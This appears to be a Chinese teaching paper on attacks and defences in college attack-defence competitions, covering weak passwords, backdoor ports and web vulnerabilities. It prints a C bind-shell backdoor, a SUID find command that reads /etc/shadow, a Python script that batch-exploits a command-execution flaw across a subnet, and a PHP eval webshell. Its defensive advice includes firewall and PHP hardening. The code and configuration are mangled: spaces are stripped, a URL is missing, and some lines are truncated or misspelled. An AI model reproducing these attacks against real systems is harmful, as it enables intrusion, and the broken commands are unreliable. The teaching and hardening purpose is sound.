網(wǎng)絡(luò)攻防競賽常用攻擊與防范技術(shù)探討

時間:2022-05-30 09:40:34

導(dǎo)語:網(wǎng)絡(luò)攻防競賽常用攻擊與防范技術(shù)探討一文來源于網(wǎng)友上傳,不代表本站觀點(diǎn),若需要原創(chuàng)文章可咨詢客服老師,歡迎參考。

網(wǎng)絡(luò)攻防競賽常用攻擊與防范技術(shù)探討

摘要:從高職網(wǎng)絡(luò)攻防競賽入手,詳細(xì)介紹了攻防競賽中常用的3種攻擊手段:弱口令、后門端口、Web攻擊,針對不同的手段給出了相應(yīng)的防范方法:提高口令的復(fù)雜度、利用防火墻限制端口、對網(wǎng)站W(wǎng)eb代碼進(jìn)行審計等。實踐表明,這樣的攻擊和防范方法對提高高職院校學(xué)生網(wǎng)絡(luò)攻防水平有著一定的幫助。

關(guān)鍵詞:高職;網(wǎng)絡(luò)攻防

目前各級各類的網(wǎng)絡(luò)攻防競賽正在高職院校間如火如荼地開展,在攻防競賽中所有參賽隊伍都被分配若干靶機(jī),這些靶機(jī)都存在著漏洞,在規(guī)定時間內(nèi)參賽隊伍要盡力加固自己的靶機(jī),并利用漏洞攻擊對方靶機(jī)以獲得flag(flag是靶機(jī)root目錄下flagvalue.txt文件的內(nèi)容),具有很強(qiáng)的對抗性。通過參與網(wǎng)絡(luò)對攻競賽,學(xué)生的網(wǎng)絡(luò)技術(shù)水平得到了提高,網(wǎng)絡(luò)安全意識得到了培養(yǎng),也為今后成為一名合格的“網(wǎng)絡(luò)強(qiáng)國”技能人才打下良好的基礎(chǔ)。目前高職網(wǎng)絡(luò)攻防競賽中網(wǎng)絡(luò)靶機(jī)的漏洞大致分為3類:弱口令、后門、Web漏洞。

1弱口令攻擊

1.1弱口令攻擊的表現(xiàn)

高職攻防競賽中弱口令攻擊是最為常見和直接的攻擊形式,靶機(jī)系統(tǒng)一般開放SSH、Telnet、VNC等遠(yuǎn)程登錄服務(wù),攻防中利用已知的用戶名和破解出的口令便能滲透進(jìn)對方系統(tǒng)。實際對戰(zhàn)中爆破口令的方式有多種,如利用滲透機(jī)kali中的相關(guān)工具h(yuǎn)ydra、medusa、sparta、msf等;利用Python腳本進(jìn)行口令爆破,破解SSH登錄口令代碼如下:此外,由于攻防時間有限,人工猜測口令也較為常見,如123456、root、admin等。當(dāng)利用已知的用戶和猜測的口令進(jìn)入靶機(jī)系統(tǒng)后,往往需要對用戶進(jìn)行提權(quán)才能查看root目錄下的flag值,常見的提取方式如sudo提權(quán)即給定的用戶如ad-min,在/etc/sudoers文件中已經(jīng)寫入了adminALL=(ALL:ALL)ALL,此時用戶admin執(zhí)行root指令時,只需在執(zhí)行的指令前加入sudo即可;find提權(quán)即利用find文件擁有的suid權(quán)限,普通用戶執(zhí)行指令如find/usr/bin/find-execcat/etc/shadow,即可看到只有root用戶才能看到的shadow文件;臟牛提權(quán),Linux靶機(jī)往往存在著系統(tǒng)內(nèi)核漏洞如2.6.22到3.9之間的Linux,利用臟牛exp就能在該系統(tǒng)生成一個后門用戶fireflat(權(quán)限與root一致),密碼可自定;隱藏用戶提權(quán),/etc/pass-wd、/etc/shadow是兩個Linux存放用戶名、密碼的文件,如果給定用戶有權(quán)限查看這兩個文件,便可以利用工具如ophcrack、john等破解root口令或隱藏用戶的口令,隱藏用戶往往具有root一樣的權(quán)限。

1.2弱口令攻擊的防范

弱口令攻擊的防范一般有兩種思路:(1)從口令本身入手即修改原有用戶的口令,使其符合一定的復(fù)雜度(數(shù)字+大小寫字母+特殊符號),同時修改用戶文件,刪除隱藏用戶,如使用awk-F:'($3==0){print$1}'/etc/passwd刪除root之外的uid為0的用戶;(2)從服務(wù)配置入手,如對SSH、Telnet、VNC進(jìn)行登錄限制,如在/etc/ssh/sshd_config文件中將PermitRootLogin改成no,使得root用戶不能通過ssh服務(wù)登錄系統(tǒng);在/etc/xinetd.d/telnet文件中設(shè)置對telnet用戶限制IP地址等。

2后門端口

2.1后門端口攻擊的表現(xiàn)

高職攻防競賽中靶機(jī)后門往往比較常見,靶機(jī)后門會開啟一個端口,這個端口一般為高端口(高于1024)或偽裝成一個正常端口,如木馬程序:intmain(){serv_addr.sin_family=2;serv_addr.sin_ad-dr.s_addr=0;serv_addr.sin_port=0x901F;sock=sock-et(2,1,0);bind(sock,(structsockaddr*)&serv_addr,0x10);listen(sock,1);dup2(cli,0);dup2(cli,1);dup2(cli,2);execve("/bin/sh",0,0);}該程序在運(yùn)行時開放了一個8080的后門端口,攻擊機(jī)只需利用NC工具連入這個后門8080端口就能輕松進(jìn)入靶機(jī)系統(tǒng)。一些知名的靶機(jī)也存在著后門端口,如Metasplotable2-linux后門端口為1524,有著永恒之藍(lán)漏洞的Windows系統(tǒng)后門端口為445等。

2.2后門端口攻擊的防范

對于后門端口的防范一般分為兩個步驟:第1步是掃描,即利用掃描工具如Nmap、Zenmap、OpenVas等對靶機(jī)系統(tǒng)進(jìn)行掃描,查詢可疑端口如圖1所示,端口對應(yīng)的version下可以看到明顯的后門描述和可疑信息。第2步,利用防火墻對端口進(jìn)行過濾,如只允許基本服務(wù)被訪問指令如下:iptables-AINPUT-s172.19.3.0/24-jACCEPT允許特殊網(wǎng)段的連接iptables-AINPUT-picmp-jACCEPT允許ping命令執(zhí)行iptables-AINPUT-ptcp--dport80-jACCEPT允許http端口iptables-AINPUT-ptcp--dport21-jACCEPT允許ftp端口iptables-AINPUT-ptcp--dport22-jACCEPT允許ssh端口iptables-AINPUT-ptcp--dport23-jACCEPT允許telnet端口iptables-AINPUT-jDROP拒絕所有的端口訪問此外,在防范后門攻擊時還要注重查詢靶機(jī)的可疑進(jìn)程,如圖2所示,利用kill9pid結(jié)束進(jìn)程,或利用pkill批量結(jié)束類似名稱的進(jìn)程。

3Web攻擊

3.1Web攻擊的表現(xiàn)

高職網(wǎng)絡(luò)攻防競賽中,Web攻擊是一種重要的攻擊手段。網(wǎng)絡(luò)靶機(jī)一般自帶cms(內(nèi)容管理系統(tǒng)),攻擊者可以利用cms存在的Web漏洞進(jìn)行攻擊,常見的cms漏洞網(wǎng)站如dedecms、escms、seacms等,此外一些知名的滲透網(wǎng)站如DVWA、bwapp、bikachu也會被發(fā)布在網(wǎng)絡(luò)靶機(jī)中,這些網(wǎng)站有著目錄遍歷、命令執(zhí)行、文件包含、SQL注入、跨站腳本漏洞等多種漏洞,在進(jìn)行網(wǎng)絡(luò)攻擊時可以編寫Python腳本代碼如下(網(wǎng)站的命令執(zhí)行漏洞),進(jìn)行批量攻擊如圖3所示。importrequests,#導(dǎo)入requests第三方庫,該模塊#存放著和網(wǎng)頁訪問有關(guān)的方法foriinrange(100,110):#對攻擊的網(wǎng)段進(jìn)行遍歷,網(wǎng)#段的取值根據(jù)實際情況而定try:#利用try進(jìn)行程序的嘗試ip='10.18.'+str(i)+'.249'#構(gòu)造攻擊靶機(jī)的IP#地址,其中靶機(jī)IP有3位是固定的html=requests.get("#構(gòu)造網(wǎng)頁訪問鏈接/root/flagvalue.txt",timeout=0.1).text#將網(wǎng)頁訪問命#令執(zhí)行的結(jié)果賦給變量htmlprint'WebShell:'+ip,'flag'+html#將訪問的#IP地址和flag打印輸出exceptException:pass#如果無法訪問網(wǎng)頁則跳過。

3.2Web攻擊的防范

對于Web攻擊的防范一般分兩個部分:代碼審計和修改配置文件。代碼審計是對網(wǎng)站的源代碼進(jìn)行人工或自動化的審計,找出網(wǎng)頁中存在的危險代碼,如網(wǎng)站內(nèi)部存在著<?phpeval($_POST[aa])?>這是典型的php木馬程序;<?php$page=$_GET[’page’];include($page);?>這是典型的文件包含漏洞程序;<?phpsystem這是典型的命令執(zhí)行漏洞程序,代碼審計也常利用的自動化工具有SEAY、RIPS、VCG等,通過審計對存在的漏洞可采用注釋或刪除的方式進(jìn)行加固,實戰(zhàn)中由于cms系統(tǒng)涉及文件較多,修改網(wǎng)頁的配置文件顯然是防范Web攻擊的重要手段,如修改php配置文件如下:safe_mode=on//開啟安全函數(shù)safe_mod_inclue_dir=/var/www/html//安全模式下包//含文件open_basedir=/var/www/html//php腳本能訪問的目錄disable_funcations=exec()system()shell_exe()eval()//禁止危險函數(shù)file_uploads=off//禁止上傳也可以修改網(wǎng)站對應(yīng)的數(shù)據(jù)庫配置文件如下:mysql-uroot-ppassword:root進(jìn)入mysql數(shù)據(jù)庫selectuser,host,passwordfrommysql.user;查看mysql的登錄密碼);修改mysql數(shù)據(jù)庫密碼5結(jié)語介紹了3類典型的高職網(wǎng)絡(luò)攻防競賽的攻擊手段和防范策略,實際對戰(zhàn)中也有利用靶機(jī)系統(tǒng)級漏洞進(jìn)行攻擊的如Windows中常見的ms08067、ms17010、cve-2017-7269、cve2019-0708等,Linux中常見的vsftp2.3.4、sm-bcry漏洞、dirtycow等。由于技術(shù)的進(jìn)步,靶機(jī)系統(tǒng)的漏洞也在“與時俱進(jìn)”,這就需要今后不斷努力去搜集、去發(fā)現(xiàn)。

參考文獻(xiàn)

[1]李馥娟,王群.網(wǎng)絡(luò)靶場及其關(guān)鍵技術(shù)研究[J].計算機(jī)工程與應(yīng)用,2022,(05):12-22.

[2]馬曉亮.網(wǎng)絡(luò)安全攻防實戰(zhàn)技術(shù)與效果分析[J].信息安全研究,2021,7(08):763-772.

[3]宋超,吳明.CTF賽題在“1+X”證書制度下的教學(xué)實踐[J].網(wǎng)絡(luò)安全技術(shù)與應(yīng)用,2021,(10):104-105

作者:宋超 單位:江蘇聯(lián)合職業(yè)技術(shù)學(xué)院無錫旅游商貿(mào)分院